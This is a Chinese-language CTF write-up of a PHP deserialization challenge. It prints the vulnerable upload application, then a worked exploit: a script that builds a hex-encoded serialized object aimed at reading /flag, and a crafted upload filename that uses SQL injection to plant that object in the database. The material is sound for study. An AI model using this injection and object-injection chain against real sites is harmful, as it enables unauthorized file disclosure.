抽空在buu上做了四五道反序列化的题目,其中发现了一道构思比较奇特的反序列化题,因此想记录一下这种题型
Contents
一、审计
给出了源码,业务功能是处理上传文件,然后能够给出文件的地址和文件名,当然仅靠从功能上是不清楚从何进行反序列化的,因此直接贴出代码:
- help.php
class helper {
protected $folder = "pic/";
protected $ifview = False;
protected $config = "config.txt";
// The function is not yet perfect, it is not open yet.
public function upload($input="file")
{
$fileinfo = $this->getfile($input);
$array = array();
$array["title"] = $fileinfo['title'];
$array["filename"] = $fileinfo['filename'];
$array["ext"] = $fileinfo['ext'];
$array["path"] = $fileinfo['path'];
$img_ext = getimagesize($_FILES[$input]["tmp_name"]);
$my_ext = array("width"=>$img_ext[0],"height"=>$img_ext[1]);
$array["attr"] = serialize($my_ext);
$id = $this->save($array);
if ($id == 0){
die("Something wrong!");
}
echo "<br>";
echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>";
}
public function getfile($input)
{
if(isset($input)){
$rs = $this->check($_FILES[$input]);
}
return $rs;
}
public function check($info)
{
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
$ext = substr(strrchr($filename, '.'), 1);
$cate_exts = array("jpg","gif","png","jpeg");
if(!in_array($ext,$cate_exts)){
die("<p>Please upload the correct image file!!!</p>");
}
$title = str_replace(".".$ext,'',$filename);
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
}
public function save($data)
{
if(!$data || !is_array($data)){
die("Something wrong!");
}
$id = $this->insert_array($data);
return $id;
}
public function insert_array($data)
{
$con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($con))
{
die("Connect MySQL Fail:".mysqli_connect_error());
}
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
$id = mysqli_insert_id($con);
mysqli_close($con);
return $id;
}
public function view_files($path){
if ($this->ifview == False){
return False;
//The function is not yet perfect, it is not open yet.
}
$content = file_get_contents($path);
echo $content;
}
function __destruct(){
# Read some config html
$this->view_files($this->config);
}
}
?>
- show.php
<!DOCTYPE html>
<html>
<head>
<title>Show Images</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<h2 align="center">Your images</h2>
<p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p>
<hr>
<?php
include("./helper.php");
$show = new show();
if($_GET["delete_all"]){
if($_GET["delete_all"] == "true"){
$show->Delete_All_Images();
}
}
$show->Get_All_Images();
class show{
public $con;
public function __construct(){
$this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base");
if (mysqli_connect_errno($this->con)){
die("Connect MySQL Fail:".mysqli_connect_error());
}
}
public function Get_All_Images(){
$sql = "SELECT * FROM images";
$result = mysqli_query($this->con, $sql);
if ($result->num_rows > 0){
while($row = $result->fetch_assoc()){
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>";
}
}else{
echo "<p>You have not uploaded an image yet.</p>";
}
mysqli_close($this->con);
}
public function Delete_All_Images(){
$sql = "DELETE FROM images";
$result = mysqli_query($this->con, $sql);
}
}
?>
<p><a href="show.php?delete_all=true">Delete All Images</a></p>
<p><a href="upload.php">Upload Images</a></p>
</body>
</html>
- upload.php
<!DOCTYPE html>
<html>
<head>
<title>Image Upload</title>
<link rel="stylesheet" href="./style.css">
<meta http-equiv="content-type" content="text/html;charset=UTF-8"/>
</head>
<body>
<p align="center"><img src="https://i.loli.net/2019/10/06/i5GVSYnB1mZRaFj.png" width=300 length=150></p>
<div align="center">
<form name="upload" action="" method="post" enctype ="multipart/form-data" >
<input type="file" name="file">
<input type="Submit" value="submit">
</form>
</div>
<br>
<p><a href="./show.php">You can view the pictures you uploaded here</a></p>
<br>
<?php
include("./helper.php");
class upload extends helper {
public function upload_base(){
$this->upload();
}
}
if ($_FILES){
if ($_FILES["file"]["error"]){
die("Upload file failed.");
}else{
$file = new upload();
$file->upload_base();
}
}
$a = new helper();
?>
</body>
</html>
通读整个代码之后可以找到入口点,view_files
这个方法,当$this->config
指定其他文件时,并且$this->ifview != False
,就能触发file_get_contents
,有了入口点下一步是想办法如何进行反序列化,直接搜索unserialize
方法,在show.php
中存在
if($row["attr"]){
$attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
$attr = unserialize($attr_temp);
}
二、分析
发现该逻辑是将你上传的文件的title、filename、ext、path、attr
存入数据库中,原本的逻辑attr
是文件的长宽,序列化后传入数据库,展现时再反序列化得到,到这里想了很久,这些确实都是不可控的,并不知道怎么去修改$array['attr']
了
看了下题解才猛然醒悟,终于了解了为什么要用数据库了,我们看check()
方法的返回
$basename = substr(md5(time().uniqid()),9,16);
$filename = $info["name"];
return array('title'=>$title,'filename'=>$basename.".".$ext,'ext'=>$ext,'path'=>$this->folder.$basename.".".$ext);
只有title
是可控的,其他都会包含$basename
,再看数据库是如何操作将文件的属性进行写入的
$sql_fields = array();
$sql_val = array();
foreach($data as $key=>$value){
$key_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $key);
$value_temp = str_replace(chr(0).'*'.chr(0), '\0\0\0', $value);
$sql_fields[] = "`".$key_temp."`";
$sql_val[] = "'".$value_temp."'";
}
$sql = "INSERT INTO images (".(implode(",",$sql_fields)).") VALUES(".(implode(",",$sql_val)).")";
mysqli_query($con, $sql);
写的很明白了,将$data
中的key作为字段,然后键值作为字段的值,注意这里的$key
我们都是不可控的,值我们只要一个可控,那就是title
$title = str_replace(".".$ext,'',$filename);
而title
是SQL语句中传入值的第一个,因此我们是不是可以通过SQL注入,将$attr
注入成类的序列化,之后反序列化就能直接触发,达到任意文件读取的目的?
构造payload
思路清晰之后,一共有五个字段,因此我们只需要将$filename
修改为五个字段的值并且闭合SQL语句,就能成功得写入,因此先构造序列化的payload
注意的是由于序列化后引号的存在会将filename=””中的引号闭合导致错误,而SQL语句是支持16进制的,因此我们将序列化转为16进制写入数据库中
<?php
class helper{
protected $ifview = true;
protected $config = "/flag";
}
$obj = new helper();
$payload = serialize($obj);
echo bin2hex($payload);
#0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d
第二步直接抓包,修改filename即可
此时的$filename=1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#.gif
经过str_replace
后
$title=1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d)#
此时看一下拼接的SQL语句为:
INSERT INTO images ('title','filename','ext','pathname','attr') VALUES ('1','1','1','1',0x4f3a363a2268656c706572223a323a7b733a393a22002a00696676696577223b623a313b733a393a22002a00636f6e666967223b733a353a222f666c6167223b7d')#,filename,ext,pathname,attr)
而#
把后面语句注释掉,因此数据库中的attr成功写入了序列化的payload,达到任意文件读取的目的
